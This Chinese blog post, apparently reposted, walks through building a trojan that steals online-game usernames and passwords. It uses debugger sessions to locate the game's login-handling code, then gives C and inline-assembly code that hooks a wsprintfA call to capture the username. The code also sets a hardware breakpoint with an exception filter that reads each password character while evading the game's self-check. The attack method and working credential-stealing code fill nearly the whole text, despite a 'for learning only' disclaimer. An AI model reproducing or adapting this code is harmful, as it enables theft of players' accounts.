某网游盗号木马实现手记
By dummy
原文: http://hi.baidu.com/dummy24/blog/item/ded78908017f3334e8248820.html
某网游盗号木马实现手记
注:只是学习,没有任何恶意。下面的分析打了码,而且不完整
上次的文字,抱歉有几点错误。shellexecutehook 并不能实现注入到全局进程。现在
木马还是
使用消息钩子和远程线程比较多。-_# 今天遂亲自写了个动手写了个简单盗号木马,其
实不能
算,只是验证一些想法和进行学习。
准备工具:
lordpe
od
syser debugger
这个游戏外边加了 tmd, 但不影响我们的分析。运行游戏,使用 lordpe 校正
imagesize,
然后dump 进程一份,修改入口点 0x1000, 然后 kill 掉输入表,使用 od 打开进行静
态分
析(个人习惯,呵呵)。
我们的目标获取用户名和密码,首先的任务要找到游戏登录验证地方,回忆一下怎么做
动态注
册机和游戏作弊程序,“搜索输入数据,定位输入数据处理代码”。
打开运行 syser, 然后进入游戏登录窗口, 在用户名中输入 dummys,ctrl+f12 调出
syser
调试窗口。我们要找到 dummys 这个输入
在控制台下输入
>addr game // 切换到游戏的进程空间
>s 0 80000000 "dummys" // 限定地址其实可以更少一点,我习惯这样了,呵呵。
等待几秒钟后,如果输入正确,就可以在数据窗口可以看到这个串了。一般会有多个相
同
的串出现,你可以输入
>s
搜索下一个出现的 dummys
来寻找是谁问这个串的,在控制台下输入
>bpm xxxxxxxx // xxxxxxxx 即是 dummys 地址
ctrl+12 切出 syser, 紧跟着 syser 退出后再次弹出。
哈哈,已经断了下了,注意看看访问是不是游戏代码访问的。
我这边调试时断在 00479E78, 你的断下地址可能不同,其实这里不用管
他具体。只要确认这段代码的参数或上下文经常和我们要的数据发生关系
即可。
00479E75 . 52 push edx
00479E76 . 51 push ecx
00479E77 . 50 push eax
00479E78 . 8906 mov dword ptr [esi], eax // eax –> Name
00479E7A . 90 nop
00479E7B E8 90078A77 call 77D1A610 // wsprintfA
00479E80 ? 8B0E mov ecx, dword ptr [esi]
00479E82 . 8A11 mov dl, byte ptr [ecx]
00479E84 . 33C0 xor eax, eax
00479E86 . 84D2 test dl, dl
00479E88 . 74 0F je short 00479E99
00479E8A . 8BD1 mov edx, ecx
好,在控制台下输入
>bd * // 禁用以前的断点
>bp 00479E7B x // 下硬件执行断点
然后 ctrl + f12 来回切换观察,这个函数的参数是不是自己输入的 dummys,
经过几次后,可以确认这段代码的利用价值还可以。(其实这段代码是公用函数,
第一次写完程序 debugout 第一个参数时,输出很多垃圾,但是仔细观察一下,
当dummys 出现时第二个参数是 %s, 并且第一个参数即用户名只能是英文, 最
后的可以成功过滤出用户名,其实 patch 这处代码还有一个好处就是没有自
校验,呵呵)
接着我们想想该获取处理密码的地方了,通过上面的学习你是不是想直接搜索
密码,类似
>s 0 80000000 "mypass"
>…
呵呵,最终你将得到的是 "Couldn't foundin range!"。注意一下你就发现
你输入的密码都被转化为 *** 显示在屏幕上,oh yeah, 我们就搜索 ***,
在控制台下输入
>s 0 80000000 "******" // 多输入长度的密码,匹配准确一点
等待一会,你将在数据发现 ****** 已经待在那里了。紧接着的操作和用户名的
处理一下,设置一个硬件断点
>bpm yyyyyyyy // 输入星星的地址加上长度,新的星星将存放在那里
ctrl+f12 运行,马上又断下来。
我这里断在了
0047898D |. 8BF2 mov esi, edx // src 星星长度
0047898F |. 8D0C28 lea ecx, dword ptr [eax+ebp]
00478992 |. 2BFD sub edi, ebp
00478994 |. 03C6 add eax, esi
00478996 |> 8A140F /mov dl, byte ptr [edi+ecx] // src 星星
00478999 |. 8811 |mov byte ptr [ecx], dl // dst 星星
0047899B |. 41 |inc ecx
0047899C |. 4E |dec esi
0047899D |.^ 75 F7 \jnz short 00478996
在这里你并没有看到明文,但是发现了什么有用的信息了吗。那就是星星的长度。
接着就是寻找 src 星星长度是哪里来的,一个接一个硬件断点。你将发现一个
刚刚输入的密码字符。我这里是
004261B5 |. /7E 20 jle short 004261D7
004261B7 |. |8B8B D0100000 mov ecx, dword ptr [ebx+10D0]
004261BD |. |8D49 00 lea ecx, dword ptr [ecx]
004261C0 |> |80BC04 900000>/cmp byte ptr [esp+eax+90], 20 // src –>
password char
004261C8 |. |7D 01 |jge short 004261CB
004261CA |. |40 |inc eax
004261CB |> |41 |inc ecx
004261CC |. |40 |inc eax
004261CD |. |3BC6 |cmp eax, esi // esi –> password length
004261CF |.^|7C EF \jl short 004261C0
004261D1 |. |898B D0100000 mov dword ptr [ebx+10D0], ecx
004261D7 |> \8BBB F0110000 mov edi, dword ptr [ebx+11F0]
所有的分析都结束了,该怎么利用这些东西。用户名的处理部分,直接 patch 掉那段
代码即可,
但是密码处理,在调试时发现会有自校验, 如果 patch 肯定会被发现的。是 xx 自校
验还是
另寻方法,
>bpm 004261B5 // 设置一个硬件断点, 寻找自校验代码处理地址
运行,马上断下来。你将看到一个小循环,正在校验这段代码,我第一此选择 xx 这个
自校验,
但是没过多久你就会发现还有一层自校验在校验这段代码,靠! 算了。不知道何时是个
头
该怎么办?
从上倒下我们都在使用硬件断点,而且都很有效。为什么 tmd 没有清 dr 呢?
如果我可以设置硬件断点在 004261C0 处,就不可以了吗。很黄很暴力
就这样,首先检查这段密码处理属于哪个线程,通过在调试器下修改他的代码,确认
是主线程。下面只贴部分代码
////////////////////////////////////////////////////////////////////////////
///////////
// patch 密码处理部分
BOOL Patch_4261C0()
{
/*
004261B5 |. /7E 20 jle short 004261D7
004261B7 |. |8B8B D0100000 mov ecx, dword ptr [ebx+10D0]
004261BD |. |8D49 00 lea ecx, dword ptr [ecx]
004261C0 |> |80BC04 900000>/cmp byte ptr [esp+eax+90], 20 // src –>
password
004261C8 |. |7D 01 |jge short 004261CB
004261CA |. |40 |inc eax
004261CB |> |41 |inc ecx
004261CC |. |40 |inc eax
004261CD |. |3BC6 |cmp eax, esi // esi –> password length
004261CF |.^|7C EF \jl short 004261C0
004261D1 |. |898B D0100000 mov dword ptr [ebx+10D0], ecx
004261D7 |> \8BBB F0110000 mov edi, dword ptr [ebx+11F0]
*/
// xy2 会循环的校验这段代码,所以不能直接 patch
// 这里利用 调试 寄存器
//
// 自校验代码在 0x45e170, 这段自校验代码时有效时无效
// ebx –> 0x426040 校验地址
// edi –> 0x200 校验长度
// 校验 0x45e170 的校验代码在 74ba2e, -_##
__xy2_patch_Pwd = SearchSign((LPBYTE)0x420000, 0x10000,
"8D490080BC0490000000207D014041403BC67CEF898BD0100000";
if ( __xy2_patch_Pwd != NULL )
{
LOGOUT("Patch_4261C0: 成功定位特征地址 %08X!\n", __xy2_patch_Pwd);
HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, __dwMainThreadId);
if ( hThread != NULL )
{
LOGOUT("Patch_4261C0: OpenThread 成功\n";
// 设置未处理异常过滤函数
__OrgUnhandledExceptionFilter =
SetUnhandledExceptionFilter(MyUnhandledExceptionFilter);
LOGOUT("Patch_4261C0: __OrgUnhandledExceptionFilter = %08X\n",
__OrgUnhandledExceptionFilter);
// 下“硬件断点”
CONTEXT ct;
memset(&ct, 0, sizeof (ct));
ct.ContextFlags = CONTEXT86_DEBUG_REGISTERS;
ct.Dr1 = (DWORD)__xy2_patch_Pwd;
ct.Dr7 = 0x405;
SetThreadContext(hThread, &ct);
CloseHandle(hThread);
return TRUE;
}
}
else
{
LOGOUT("Patch_479E7B: 定位特征地址失败!\n";
}
return FALSE;
}
// 未处理异常过滤
LONG
WINAPI
MyUnhandledExceptionFilter(
IN struct _EXCEPTION_POINTERS *ExceptionInfo
)
{
LOGOUT(
"MyUnhandledExceptionFilter: 捕获一个未处理异常 CODE = %08X, ADDR =
%08X!\n",
ExceptionInfo->ExceptionRecord->ExceptionCode,
ExceptionInfo->ExceptionRecord->ExceptionAddress
);
if (
ExceptionInfo->ExceptionRecord->ExceptionCode == 0x80000004 &&
ExceptionInfo->ExceptionRecord->ExceptionAddress == __xy2_patch_Pwd
)
{
// 004261BD |. |8D49 00 lea ecx, dword ptr [ecx]
// 004261C0 |> /80BC04 900000>/cmp byte ptr [esp+eax+90], 20
CHAR c = *(PCHAR)(ExceptionInfo->ContextRecord->Esp +
ExceptionInfo->ContextRecord->Eax + 0x90); // 取出新的输入字符
ExceptionInfo->ContextRecord->Eip += 3; // 下调指令
static int i = 0;
SavePassword(i++, c); // 保存密码
return EXCEPTION_CONTINUE_EXECUTION;
}
return __OrgUnhandledExceptionFilter(ExceptionInfo);
}
////////////////////////////////////////////////////////////////////////////
///////////
// patch 用户名处理部分
void NAKED Proxy_479E7B()
{
__asm
{
mov eax, dword ptr [esp + 8]
cmp dword ptr [eax], 's%'
jnz __ret
mov ecx, dword ptr [esp + 4]
call SaveName
__ret:
mov eax, wvsprintfA
jmp eax
}
}
BOOL Patch_479E7B()
{
/*
00479E75 . 52 push edx
00479E76 . 51 push ecx
00479E77 . 50 push eax
00479E78 . 8906 mov dword ptr [esi], eax // eax –> Name
00479E7A . 90 nop
00479E7B E8 90078A77 call 77D1A610 // wsprintfA
00479E80 ? 8B0E mov ecx, dword ptr [esi]
00479E82 . 8A11 mov dl, byte ptr [ecx]
00479E84 . 33C0 xor eax, eax
00479E86 . 84D2 test dl, dl
00479E88 . 74 0F je short 00479E99
00479E8A . 8BD1 mov edx, ecx
*/
__xy2_patch_Name = SearchSign((LPBYTE)0x00470000, 0x10000,
"525150890690E8????????8B0E8A11";
if ( __xy2_patch_Name != NULL )
{
__xy2_patch_Name += 7;
LOGOUT("Patch_479E7B: 成功定位特征地址 %08X!\n", __xy2_patch_Name);
// 修改call 77D1A610 为 call Proxy_479E7B
DWORD dwOffset = (DWORD)Proxy_479E7B – (DWORD)__xy2_patch_Name – 4;
DWORD dwBytes = WriteMemory(__xy2_patch_Name, &dwOffset, 4);
if ( dwBytes == 4 )
{
LOGOUT("Patch_479E7B: 成功 Patch!\n";
return TRUE;
}
}
else
{
LOGOUT("Patch_479E7B: 定位特征地址失败!\n";
}
return FALSE;
}
到此结束。
最后感谢一下 aker & forgot.
ps: 禁止一切对代码风格的评论, 尤其某某